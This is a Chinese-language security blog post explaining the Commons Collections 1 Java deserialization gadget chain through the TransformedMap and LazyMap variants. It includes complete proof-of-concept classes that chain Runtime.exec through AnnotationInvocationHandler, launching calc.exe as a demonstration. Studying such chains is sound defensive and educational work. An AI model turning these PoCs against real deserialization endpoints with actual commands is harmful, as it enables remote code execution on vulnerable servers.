System Online

Architect your
digital legacy.

ZIMU
WEB SEC

JAVA安全基础-CC1链

demo代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.getRuntime()),
 new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\WINDOWS\system32\calc.exe"}),
 };
 Transformer transformerChain = new
ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
 outerMap.put("test", "xxxx");
 }
}

ConstantTransformer
作用:无论输入是什么,始终返回一个预设的对象。

代码中:new ConstantTransformer(Runtime.getRuntime())它会忽略传入的任何输入,直接返回当前系统的 Runtime 对象

InvokerTransformer
作用:通过 Java 反射机制调用指定对象的方法。

代码中:new InvokerTransformer("exec", ...)它接收一个对象,并调用该对象的 exec 方法,参数为 calc.exe。

ChainedTransformer
作用:将多个 Transformer 串联起来。前一个 Transformer 的输出将作为后一个 Transformer 的输入。

逻辑:

接收输入

ConstantTransformer 返回 Runtime 对象。

InvokerTransformer 接收 Runtime 对象并执行 exec("calc.exe")

TransformedMap
TransformedMap 是触发整个链条的“开关”。它的设计初衷是在向 Map 中添加或修改元素时,自动对 Key 或 Value 进行某种转换(Transformation)。

TransformedMap.decorate(innerMap, null, transformerChain):

第一个参数是原始 Map。

第二个参数是 Key 的转换器(此处为 null)

第三个参数是 Value 的转换器(此处为我们的 transformerChain)

当执行 outerMap.put("test", "xxxx") 时,内部逻辑如下:

TransformedMap 拦截到 put 操作。

它检查是否存在 Value 转换器。

因为它发现了 transformerChain,所以会对新插入的 Value ("xxxx") 调用 transform() 方法

步骤 执行操作 实际效果
1 outerMap.put("test", "xxxx") 触发 TransformedMap的转换逻辑。
2 ChainedTransformer.transform("xxxx") 启动链式调用,传入参数 "xxxx"
3 ConstantTransformer.transform("xxxx") 忽略 "xxxx",返回 Runtime.getRuntime()对象
4 InvokerTransformer.transform(Runtime) Runtime对象反射调用 exec("calc.exe")

在demo中,我们可以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作

sun.reflect.annotation.AnnotationInvocationHandler就具有这样的功能 (8u71以前

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

memberValues就是反序列化后得到的Map,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们构造的恶意代码

我们构造POC的时候,需要创建一个AnnotationInvocationHandler对象,并将前面构造的 HashMap设置进来:

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

sun.reflect.annotation.AnnotationInvocationHandler 是JDK内部的类,不能直接使用new来实例化,使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了 (为什么是Retention.class?下面会给出答案

通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化

通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成Transformer的写法就是如下:

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"C:\\WINDOWS\\system32\\calc.exe"}),
        };

将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化

在 AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对memberType进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞

让这个memberType不为null的两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类(所以上面得是Retention.class),且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"C:\\WINDOWS\\system32\\calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}


8u71改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了

Layzmap触发

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。LazyMap在get找不到值的时候,它会调用 factory.transform方法去获取一个值

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法 但 AnnotationInvocationHandler类的invoke方法有调用到get

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        int parameterCount = method.getParameterCount();

        // Handle Object and Annotation methods
        if (parameterCount == 1 && member == "equals" &&
                method.getParameterTypes()[0] == Object.class) {
            return equalsImpl(proxy, args[0]);
        }
        if (parameterCount != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        }

        if (member == "toString") {
            return toStringImpl();
        } else if (member == "hashCode") {
            return hashCodeImpl();
        } else if (member == "annotationType") {
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

23行 Object result = memberValues.get(member);

那么如何能调用到这个invoke

使用java对象代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "1111";
}
return method.invoke(this.map, args);
}
}

ExampleInvocationHandler是实现了InvocationHandler接口的类,重写了invoke方法在监控到调用的方法名是get的时候,返回一个字符串1111

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

调用ExampleInvocationHandler

可以看到即使hello键被设置为world,输出结果为1111

再看AnnotationInvocationHandler,它就是一个 InvocationHandler,如果将其用proxy代理,在readObject 时会自动调用invoke并使用到其中的get,触发lazymap中的构造链

使用LazyMap替换 TransformedMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        // 创建第一个 Handler,包裹 lazyMap
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

        // 创建代理对象 mapProxy。对 mapProxy 的任何方法调用,都会进入 handler.invoke()
        Map mapProxy = (Map) Proxy.newProxyInstance(
                Map.class.getClassLoader(),
                new Class[]{Map.class},
                handler
        );

入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹

handler = (InvocationHandler) construct.newInstance(Retention.class, mapProxy);

最终POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1WithLazyMap {
    public static void main(String[] args) throws Exception {
        // 1. 定义 Transformer 链:最终执行 calc.exe
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 2. 使用 LazyMap 装饰 HashMap
        // LazyMap 的特点:当 get() 一个不存在的 key 时,会调用 transformerChain.transform()
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        // 3. 关键点:使用动态代理
        // AnnotationInvocationHandler 实现了 InvocationHandler 接口
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        // 创建第一个 Handler,包裹 lazyMap
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

        // 创建代理对象 mapProxy。对 mapProxy 的任何方法调用,都会进入 handler.invoke()
        Map mapProxy = (Map) Proxy.newProxyInstance(
                Map.class.getClassLoader(),
                new Class[]{Map.class},
                handler
        );
        // 4. 再用一个 AnnotationInvocationHandler 包裹代理对象
        // 这是为了在反序列化 readObject 时,触发 mapProxy 的方法调用
        handler = (InvocationHandler) construct.newInstance(Retention.class, mapProxy);

        // 5. 序列化与反序列化触发
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

AnnotationInvocationHandler#readObject对mapProxy进行操作会触发handler的invoke方法,handler其实就是AnnotationInvocationHandler类的一个实例,invoke中的get操作会触发lazyMap中factory.transform进而触发transformerChain中的利用链

posted @ 2026-01-30 18:04  zimu61  阅读(0)  评论(0)    收藏  举报